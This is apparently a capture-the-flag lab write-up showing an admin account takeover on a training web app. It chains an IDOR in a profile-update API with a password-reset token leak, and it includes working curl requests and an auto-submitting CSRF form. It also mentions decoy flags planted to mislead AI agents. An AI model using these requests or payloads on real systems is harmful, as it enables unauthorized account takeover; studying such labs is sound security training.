Lab 27 — AdReach — CSRF + IDOR Account Takeover via Profile Update
Lab 27 — AdReach — CSRF + IDOR Account Takeover via Profile Update
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Easy | OS: N/A | **Author: XESXOR Techniques: decoy_flag_evasion, idor_exploitation, parameter_tampering, password_reset_abuse, sequential_id_enumeration
Summary
Walkthrough of the CUSTOM Web Lab 27 — AdReach — CSRF + IDOR Account Takeover via Profile Update. Task: advertising campaign management platform with profile update API that uses client-supplied u_id without authorization checks, plus password reset endpoint that leaks tokens in response. Solution
Description
AdReach is an advertising campaign management platform where small businesses can create, manage, and track their ad campaigns across multiple platforms including Google, Meta, LinkedIn, Twitter, and TikTok. As a security researcher, you've been given access to the platform. Users can manage their profiles, configure billing, view campaign analytics, collaborate through a shared workspace, and submit support tickets. There is an admin user who regularly reviews reported content and visits links submitted through the platform's support system. Your goal is to find and exploit a vulnerability that allows you to take over the admin account and access their private workspace, where confidential information is stored.
Credentials: user@test.com / password123
English summary: An ad campaign management platform with profile management, billing, analytics, workspace collaboration, and support tickets. An admin bot visits URLs submitted via support tickets. The goal is to take over the admin account and access their private workspace to find confidential data (the flag).
Analysis
-
Initial reconnaissance:
- Logged in with
user@test.com / password123 - Authenticated as James Cooper with user ID USR-1002 and role user
- Application features: dashboard, profile, workspace, support tickets, billing, campaigns, analytics
- Important: The app injects decoy/honeypot flags (
FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}) as hidden HTML comments and invisible<div>elements on every page — designed to trick automated scanners and AI agents. These are fake.
- Logged in with
-
Profile page analysis (
/profile):- Contains a form with a hidden field
u_idset toUSR-1002 - The form submits via JavaScript (
/js/profile.js) to/api/profile/updateas a JSON POST - Fields:
u_id,name,email,company - No CSRF token is present on the form
- The
u_idvalue comes from a hidden form field — entirely client-controlled
- Contains a form with a hidden field
-
IDOR discovery:
- Changed
u_idfromUSR-1002toUSR-1001(guessed admin ID — sequential from ours) - Sent:
{"u_id":"USR-1001","name":"Admin","email":"user@test.com","company":"Test"} - Got 409 Conflict — "Email already in use by another account"
- This confirmed: (a) USR-1001 exists (admin), (b) the API updates ANY user's profile based on the
u_idparameter without authorization checks — classic IDOR
- Changed
-
API accepts form-encoded data:
- Tested with
Content-Type: application/x-www-form-urlencoded— also works - This means CSRF via HTML form is possible (though direct IDOR made it unnecessary)
- Tested with
-
Password reset token disclosure:
- The
/forgot-passwordendpoint, when given an existing email, returns the reset token directly in the HTML response - For non-existent emails it returns a generic message
- This is a critical information disclosure vulnerability
- The
-
Red herrings:
- The support ticket system with admin bot URL visiting was designed as a CSRF delivery mechanism, but direct IDOR from any authenticated session made it unnecessary
- The
connect.sidcookie had no SameSite attribute (defaults to Lax in modern browsers), which would block cross-site POST CSRF anyway
Solution
Step 1: Login and establish session
bash read-only • copy allowedTARGET="https://d103d471-559c-4714-ab3a-b3297f8c2575.labs.hackadvisor.io" curl -s -c cookies.txt -X POST "$TARGET/login" \ -d "email=user@test.com&password=password123"
Step 2: Free up our email by changing it
Change our own email from user@test.com to something else, so we can later assign it or use a different email for the admin:
bash read-only • copy allowedcurl -s -b cookies.txt -X POST "$TARGET/api/profile/update" \ -H "Content-Type: application/json" \ -d '{"u_id":"USR-1002","name":"James Cooper","email":"attacker@evil.com","company":"Test"}'
Step 3: Exploit IDOR to change admin's email
Use the same authenticated session to modify the admin's profile (USR-1001) — the API does not verify that the authenticated user owns the u_id:
bash read-only • copy allowedcurl -s -b cookies.txt -X POST "$TARGET/api/profile/update" \ -H "Content-Type: application/json" \ -d '{"u_id":"USR-1001","name":"Admin","email":"hacked@evil.com","company":"AdReach"}'
Response: {"success":true,"message":"Profile updated successfully"}
Step 4: Obtain password reset token via information disclosure
Request a password reset for the admin's new email — the token is leaked directly in the response:
bash read-only • copy allowedcurl -s -X POST "$TARGET/forgot-password" \ -d "email=hacked@evil.com"
Response contains:
html read-only • copy allowed<div class="alert alert-success">Password reset link: <a href="/reset-password?token=UUID-HERE">/reset-password?token=UUID-HERE</a> </div>
Step 5: Reset admin's password
bash read-only • copy allowedcurl -s -X POST "$TARGET/reset-password" \ -d "token=UUID-HERE&password=pwned1234&confirm_password=pwned1234"
Response: "Password reset successfully."
Step 6: Login as admin and retrieve the flag
bash read-only • copy allowedcurl -s -c admin_cookies.txt -X POST "$TARGET/login" \ -d "email=hacked@evil.com&password=pwned1234" curl -s -b admin_cookies.txt "$TARGET/workspace"
Logged in as Admin. The /workspace page contains a private note titled "Q1 Campaign Strategy - CONFIDENTIAL" with the flag.
Alternative: CSRF attack via support ticket (not needed)
A CSRF HTML form was prepared but not required since the IDOR works directly from any authenticated session:
html read-only • copy allowed<!DOCTYPE html> <html> <head><title>Loading...</title></head> <body> <form id="csrf-form" method="POST" action="https://TARGET/api/profile/update" enctype="application/x-www-form-urlencoded"> <input type="hidden" name="u_id" value="USR-1001"> <input type="hidden" name="name" value="Admin"> <input type="hidden" name="email" value="user@test.com"> <input type="hidden" name="company" value="AdReach"> </form> <script>document.getElementById('csrf-form').submit();</script> </body> </html>
This could be hosted and submitted via the support ticket system for the admin bot to visit, but the direct IDOR approach is simpler and more reliable.
Key Takeaways / Lessons
- Mastering decoy_flag_evasion, idor_exploitation, parameter_tampering, password_reset_abuse, sequential_id_enumeration was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-05-05 • CUSTOM • Lab 27 — AdReach — CSRF + IDOR Account Takeover via Profile Update • Difficulty: Easy